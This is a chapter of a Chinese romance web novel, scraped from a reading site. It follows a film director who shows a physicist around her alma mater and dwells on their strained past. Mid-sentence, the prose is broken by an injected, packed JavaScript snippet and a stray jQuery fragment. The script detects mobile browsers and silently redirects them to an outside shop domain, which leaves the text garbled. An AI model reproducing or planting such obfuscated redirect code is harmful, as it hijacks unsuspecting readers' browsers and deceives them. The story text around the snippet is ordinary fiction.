文趣网 > 其他小说 > 暮色航迹 > 37. 大学
    元旦这天,陈奕带梁竞坷去了自己的母校。

    清早洗漱时,梁竞坷突然敲门进来问她想不想出去转转。

    陈奕愣了两秒,咬着牙刷问:“你是想去京大吗?”

    “不。”梁竞坷已经转身:“去你学校。”

    陈奕还站在原地发呆,梁竞坷已经催促起来。

    “快点!”

    陈奕叹了口气,加快手脚冲掉泡沫,扯了张洗脸巾打湿后走了出去。

    “来了来了。”

    谁叫他是债主呢。

    午饭在学校附近吃的涮肉,吃完刚好散步到学校。两人提前在APP上做了预约,刷过二维码后顺利进了校园。

    正值元旦假期,学校里人烟稀少。

    “我查了一下,今天学校博物馆暂停开放了。咱俩刚吃完饭,总不能又带你去食堂吧。说说吧,你特意过来,有没有想逛的地方?”

    “呃。”梁竞坷想了想,说:“带我去你以前上课的教室看看吧。”

    陈奕听完没忍住噗嗤一笑:“不是吧梁教授,放假还想着上课,你现在可真是越来越像个老学究了。”

    她在他眼镜周围比划一通,取笑他。

    “而且大学哪有固定的教室啊,不过如果没关门的话,我可以带你去我们学院的大楼。”

    想到什么,陈奕起了兴致,拉着他快走。

    梁竞坷不明所以地跟着她一路小跑,直到站在那幢高大崭新的楼房面前才知道什么意思。

    站在大楼前,陈奕托起手:“我们学院前不久刚装修过,怎么样?气派吧?”

    “这么得意,看来有你一份?”

    陈奕眯着眼,从食指中漏出一点点的拇指盖,轻轻道:“也就抵得上这栋楼的一小片窗户吧。”

    捐款嘛,心意更重要。学院人才辈出,她那点小碎银人家不一定瞧得上,倒不如花在拍摄上,拍好了还能给学院打打广告。

    梁竞坷:“这应该就是所谓的精神股东?”

    “bingo!”

    说是新装修过,但里头的陈设并未有太多变化,陈奕凭着记忆找到以前的剪辑室,她说这是她大学四年待得最多的地方。

    导演的工作贯穿整个影片制作的始终,从剧本撰写到发行,不说精通,至少得懂点别人不知道的冷门知识。关键时刻还能唬得住人。

    于是在学生时代,教授们在讲台上苦口婆心,让他们不要总想着偷懒,该干的活以后都不会少。

    还好陈奕当初对此兴致冲冲,那些写脚本、找场地、剪片子的痛苦基本可以被途中的快乐消解掉。这四年还算学有所成。

    剪辑室亮着灯,假期仍有同学在这里工作。大家戴着耳机,手中动作不停。

    陈奕小心翼翼地推开门,转过头对这个梁竞坷比了个嘘的动作。

    看着崭新的设备和宽敞明亮的环境,陈奕感叹,说出那句互联网上流传许久的话:“我们那时候可没有这样的条件!”

    两人就近找了个座位坐下,梁竞坷把头凑过来跟她讲话:“谁说不是呢,十年前我在A大的时候刚进实验室还以为是到了展览馆,乌泱泱的一大群人凑在小小的引力波探测装置面前,现在想起都觉得很好笑。

    “说句有辱师门的话,当时感觉前途一片黑暗。”

    他笑笑,接着说道:“后来我们有了全球最大的单口径射电望远镜,测探到了纳赫兹引力波,开会时教授专门来问我这件事,在一众白人面孔里,格格不入的我第一次在他们眼中看到惊羡的光。”

    梁竞坷知道,自己一定是要回来的。

    他说的这些陈奕听得一知半解,但她看过新闻,知道天眼的诞生意义重大。但那时候她并不知道这与梁竞坷做的研究有关。

    上学的时候他就是天之骄子,周子介说过梁竞坷以后是要为国争光的。

    竞赛是很好的机会,也是他一直以来坚持的东西。可他突然放弃了这个机会,与全国最高学府失之交臂。

    也许是因为天赋摆在那儿,加上家庭的托举,让他人生的容错率比普通人高。

    分开的那几年,陈奕从别人口中构想出一套关于他的生活图景:在顶级学府拥有自己单独的一间办公室,每天早晨就着咖啡享受着第一缕阳光的照耀开启一天的工作。

    工作内容大致是摆弄各种高精尖的实验仪器以及在富丽堂皇的宴会厅参加会议,站在各国学术顶尖大佬面前侃侃而谈……下班或者不忙的时候,和朋友浅酌一杯,邂逅一段奇妙且势均力敌的爱情。

    一切都展现着经济上行期的繁华与灯火通明,美好得让人舍不得入睡。

    即便现在他回国了,在别人眼里他仍然是一个在世俗意义上功成名就的人,回星大任教只是他的选择,照样可以称赞一句格局远大。

    可陈奕觉得不是这样的。

    梁竞坷明明可以去更好的地方,拥有比现在好一百倍的生活。

    她宁愿两人一辈子都无法再遇,默默地抬头仰望着他,也不愿意他带着遗憾和恨站在自己身边。

    这会让她几近癫狂。

    陈奕希望在她看不见的角落里梁竞坷过得很好,因为知道他值得。但换个角度来想,何尝不是对自己的赦免呢?

    从大楼出来,陈奕一直心事重重的样子,走到台阶处差点踩空。

    “小心。”

    梁竞坷在底下托住她的手,这才没有跌落。

    陈奕回过神来,问他接下来想去哪儿。

    梁竞坷不答,拉着她往右边走,搞得好像他才是这里的毕业生一样,很神秘的样子。

    一路沿着他们过来时的方向,看到印着校徽和校歌的广场,梁竞坷渐渐放慢了脚步。

    二十米以外,穿着蓝衣的少年踩在滑板上缓慢滑行着,人群中十分的显眼。

    梁竞坷停下,低头说让她在这等他一会儿。然后他一路小跑地追上去,跟那位同学说了些什么,两个人一起迎面向她走来。

    “这位学长说学姐你想要试试,但我这是双翘板,不知道你玩不玩得惯?”男生是北方人,性格豪爽,还没等到她回答就已经把板子递给她。

    陈奕看了梁竞坷一眼,抿了抿嘴唇:“我很久没玩过了……”

    “没事儿!”男生走上前,刚要扶住她才想起人家有男朋友。他尴尬地摸了摸鼻子,退后:“你们先玩儿,正好我要去图书馆还书,待会见。”

    说完他挥挥手,十分放心地把板子留给了他们。

    虽然许久未滑,但肌肉记忆还在,陈奕站上去没一会儿就轻车熟路了。她在前面滑,梁竞坷在后面远远跟着。

    微风不燥,发丝在空中轻轻飞扬,陈奕久违地感受到了轻松。

    她滑了一个来回,在梁竞坷面前轻巧地转了个弯:“你怎么会突然想到借滑板?”

    “过来的时候正好看到了,检验一下你的技术。好玩吗?”

    “好玩啊!”陈奕斜眼睨他:“梁竞坷,你还检验上我了!要不要试试?”

    陈奕脸上闪过狡黠的笑,和高中时如出一辙。和那次一样,梁竞坷明知道她不怀好意,还是答应了。

    没想到的是他再一次让陈

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598538|204181||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    奕意外。过去这么久,他的滑板技术竟然进步很多。

    今天的梁竞坷一身运动装扮,在水木清华的大学校园里踩在滑板上快速地驰行着。风吹起他的额发,深刻的眉眼加上高挺的鼻梁,有种意气风发的少年气质。

    逆光中,梁竞坷远远地朝她滑来。柔光将四周的一切糊成大大小小的光圈,她只能看到他。

    突然之间有些恍惚。那天也是这样好的阳光,十七岁的梁竞坷倚靠在走廊的栏杆上,她的倒影分毫不差地定格在他的瞳孔里。

    大概就是从那时起,陈奕的眼里就只能看到梁竞坷一个人。

    原来阳光不是最好的滤镜,心动才是。

    “怎么了?”28岁的梁竞坷停在她面前,笑意如当年一样肆意纯粹。

    陈奕看着他,一动不动地站了好久,梁竞坷也就那样耐心地等待着。

    然后陈奕偏了偏头,避开耀眼的阳光,平静地问他是不是专门学过。

    “大学的时候去上了几节体验课,感觉蛮有意思的就坚持下来了。”梁竞坷问:“经过你的检验了吗?”

    “刚刚还说要检验我,这会儿又让我评价了。你大可不必为了哄我高兴这么谦虚吧?”陈奕说:“我又不是你的老师。”

    梁竞坷弯腰把滑板收起来,腾出一只手牵着她往广场方向走:“精神导师也算导师。”

    他看着陈奕说完这句话,等她看过来以后又转向前方。

    陈奕盯着他一会儿上一会儿下的嘴角,不知是被气笑了还是怎么,挣开他的手。稍一垫脚,把他的头转过来,大拇指用了几分力,咬着牙道:“怎么?你敢说还不敢认啊!”

    梁竞坷被她这么钳制着,躲也不躲。他伸出右手食指轻轻拂过她眉毛,触感像松软的羊毛刷。陈奕的眼睛快速颤抖着,手渐渐卸下力气。

    “陈奕,有话就说。不要憋在心里。”

    他看出了她的不安,也知道是为了什么,但他还是想听陈奕亲口告诉他。

    “你今天为什么要来我们学校?”陈奕问他。

    昨晚陈奕抱着他稀里糊涂地就睡着了,今早醒来,梁竞坷以一个十分怪异的姿势半躺半靠着,几乎跟她挤在同一个枕头上。

    上半身虽然靠得近,被子里头仍然保持着距离。梁竞坷的手臂穿过枕头将她虚虚地揽住,睡着的时候仍然微微皱着眉毛。这样的姿势,更像是自己缺乏安全感一般。

    陈奕并不感动,只觉得心里堵得慌。

    多年的相处让她深谙身边这人的脾性。梁竞坷越是歇斯底里恶言相向,反而越是在乎。

    一觉醒来,看着梁竞坷那张熟悉的脸。才过了一夜,他的唇周已经长出短短的胡茬,青黑的颜色总让人觉得可怜。

    那种窒息感再一次向她奔涌而来,陈奕本就后悔主动跟梁竞坷扯上不该再有的关系,她好不容易说服自己割舍,谁成想他却追了上来。

    刚遇到他时,她是炙手可热的导演,彼时柏林奖的光环还戴在头顶。

    她当然有资本,有傲气,可以游离在任何一段关系里,自由地进出。

    陈奕承认自己对梁竞坷贼心不死,在做了对不起他的事之后依然选择恬不知耻地回吻了他。

    这怪不了她,是他先引诱的。

    但世事就是如此难料,朝夕之间,沧海桑田。

    到头来她成了小丑,除了一手的烂摊子之外什么都没有,甚至还欠了他一笔债。

    昔日种种讥讽与争吵,回旋镖扎在自己身上。

    胆小懦弱如她,陈奕只能选择逃跑,和当年一模一样。